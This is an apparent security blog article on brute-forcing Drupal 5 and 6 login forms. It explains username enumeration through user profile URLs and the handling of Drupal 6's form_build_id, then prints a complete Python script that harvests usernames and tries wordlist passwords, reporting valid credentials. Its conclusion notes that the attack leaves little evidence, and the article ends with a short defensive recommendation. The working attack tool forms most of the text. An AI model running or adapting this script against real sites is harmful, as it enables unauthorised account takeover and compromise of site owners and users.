Brute Forcing Drupal
Drupal is a powerful content management system that powers websites small and large across the internet. Drupal allows administrators to deploy and easily manage dynamic websites and web applications. Drupal facilitates the creation of dynamic user communities and supports multiple user accounts and a customizable permissions model based on groups. Drupal provides many powerful features that allow administrators to customize their site. Unfortunately, if accessed by malicious users, these same facilities can be utilized to compromise a Drupal website and perhaps the web host that supports the site. One of the first steps attackers may take when attempting to compromise a Drupal site is to compromise an existing user account in order to escalate their privilege. By default, Drupal installs with two groups defined: anonymous users and authenticated users. It is common for Drupal administrators to assign more privileges to authenticated users (i.e. users who log in) than regular site visitors who do not have account credentials. Sometimes the powers granted to authenticated users are quite permissive. Some permission in Drupal allow users to write arbitrary HTML, and thus effect an cross site scripting (XSS) attack. Other permission will actually allow users to craft PHP code when composing content for display, which would allow an attacker to hijack the web server process and expose any data in the Drupal database back end, as well as attack the underlying operating system.
Brute forcing a Drupal user account follows the same principles that apply to any brute force attack. While it is possible to simply compose a list of usernames and passwords and iterate through each, it is much more effective to harvest a list of valid usernames first, thus targeting the brute force attack. By default, each user in a Drupal site has a user page with the URL ?q=user/X, where X is the users unique id number (users.uid in the Drupal database). Drupal protects access to these pages through the use of a permission defined as 'access user profiles' which can be customized through the Drupal administrative back end at ?q=admin/user/access. Despite this protection many sites will enable anonymous user access to these pages. If this is the case then the site user accounts can easily be harvested by iterating through the possible integer values sequentially until you exhaust a set number of possibilities or until a 404 error is encountered.
Once a list of usernames has been harvested a brute force (or password guessing) attack can be launched.
Drupal 5
The Drupal 5 login form is usually displayed in a block on each page, but regardless of it's appearance, the login form handler is always located at the URL ?q=user. Drupal 5 requires that the form be posted with the hidden value of 'form_id' set to 'user_login' in order to properly process the form but there is no protection in place to prevent a cross site request forgery or other post hijack attack (such as a unique ID associated with the post). In order to attack the login form all we have to do is post a form with the fields 'name', 'pass', and 'form_id' with the intended values. In the server response page we can search for the Drupal default login error message of 'Sorry, unrecognized username or password.' If this string does not appear in the response we can assume we have successfully guessed a username/password combination.
Drupal 6
Drupal 6 provides a cross site request forgery attack (XSRF) prevention mechanism by adding a dynamically valued 'form_build_id' field. This field changes with each request so in order to brute force a Drupal 6 site a two step attack is necessary. The brute force script must first request the login form page, read the 'form_build_id' string, and then post a response. Luckily this form_build_id can be utilized multiple times so there is no need to call it every time a new post is made. Other than this addition, brute forcing a Drupal 6 site proceeds in the same manner as the Drupal 5 attack.
Scripting the Attack
The following Python script is a crude brute force engine that will mine Drupal 5 or 6 sites for user accounts, or can the user can specify a list of user accounts. The script then utilizes a password list and begins attacking the site, trying combinations of the username and password list and displaying results if the account credentials produce a successful authentication:
""" Drupalbrute.py Author: Justin C. Klein Keane <justin@madirish.net> """ import urllib, urllib2 import sys, getopt from urllib2 import Request, urlopen, URLError, HTTPError global maxrange, target, wordlist, userlist, usernames, passwords, version passwords = [] usernames = [] maxrange = 3 version = 5 def handle_args(): global target, wordlist, maxrange, userlist, version try: opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "number=", "wordlist=", "target=", "userlist=", "version="]) except getopt.GetoptError, err: # print help information and exit: print str(err) # will print something like "option -a not recognized" usage() sys.exit(2) for o, a in opts: if o in ("-h", "--help"): usage() sys.exit() elif o in ("-n", "--number"): maxrange = int(a) elif o == "--target": target = a elif o == "--wordlist": wordlist = a elif o == "--userlist": userlist = a elif o == "--version": version = a else: assert False, "unhandled option" # set up defaults try: target except NameError: target = 'None' if target == 'None': print "You must specify a target!" usage() sys.exit() try: wordlist except NameError: wordlist = 'None' if wordlist == 'None': print "You must specify a wordlist!" usage() sys.exit() try: userlist except NameError: userlist = 'None' def usage(): print "Usage: drupalbrute.py [--number=max number of user ids] [--target=target URL] [--wordlist=file] [--userlist=file] [--version=6 (5 is default)]" def read_passwords(): global wordlist, passwords f = open(wordlist, 'r') for line in f: passwords.append(line) if len(passwords) == 0: usage() sys.exit() def read_userlist(): global userlist, passwords f = open(userlist, 'r') for line in f: usernames.append(line.strip()) if len(usernames) == 0: usage() sys.exit() def discover_users(): global target, usernames, maxrange for i in range(1,maxrange): try: target except NameError: target = 'None' if target == 'None': usage() sys.exit() url = target + "/?q=user/" request_url = url + str(i) try: #print "Trying " + request_url response = urllib2.urlopen(request_url) the_page = response.read() uname_start = the_page.find('User account</a></div>') uname_start = the_page.find('<h2>', uname_start) + 4 if uname_start > 17: uname_end = the_page.find('</h2>', uname_start) #print the_page[uname_start:uname_end] usernames.append(the_page[uname_start:uname_end]) except HTTPError, e: error = 'Error at ' + request_url + ' ' + str(e.code) handle_args() read_passwords() if (userlist == 'None'): discover_users() else: read_userlist() print "Please wait, working..." # Brute force the account if version < 6: if len(usernames) > 0: for user in usernames: for passw in passwords: data = { 'name': user, 'pass': passw, 'form_id': 'user_login' } urldata = urllib.urlencode(data) url = target + "/?q=user" results = urllib.urlopen(url, urldata).read() if results.find('Sorry, unrecognized username or password.') == -1: print user + ":" + passw.strip() else: print "Drupal 6" # get a copy of the form first url = target + "/?q=user" formid = '' try: response = urllib2.urlopen(url) the_page = response.read() formid_start = the_page.find('name="form_build_id"') if (formid_start < 0): print "Sorry, can't find form_build_id field" sys.exit() formid_start += 25 formid = the_page[formid_start:formid_start+37] except HTTPError, e: error = 'Error at ' + request_url + ' ' + str(e.code) if len(usernames) > 0: for user in usernames: for passw in passwords: data = { 'name': user, 'pass': passw, 'form_build_id': formid, 'form_id': 'user_login', 'op': 'Log in' } urldata = urllib.urlencode(data) url = target + "/?q=user" results = urllib.urlopen(url, urldata).read() if results.find('Sorry, unrecognized username or password.') == -1: print user + ":" + passw.strip()
Conclusion
The only evidence of this sort of a brute force attack on a Drupal site will be numerous 'watchdog' logs that can be observed in the Drupal administrative back end at ?q=admin/reports/dblog. In a default configuration Drupal is set to expire older log entries so these notifications will only remain for a certain period of time. Web server logs will also be produced, but as most web servers do not log POST variables in page requests there would be scant evidence of brute force activity (other than multiple calls for the user page). Drupal will not lock accounts or blacklist attackers by default, so this sort of attack will eventually be successful given enough time.
Defensive Measures
The Drupal Login Security module is perfectly suited for defeating this type of attack. By throttling user access based on failed logins the module can easily circumvent brute force attacks of this type.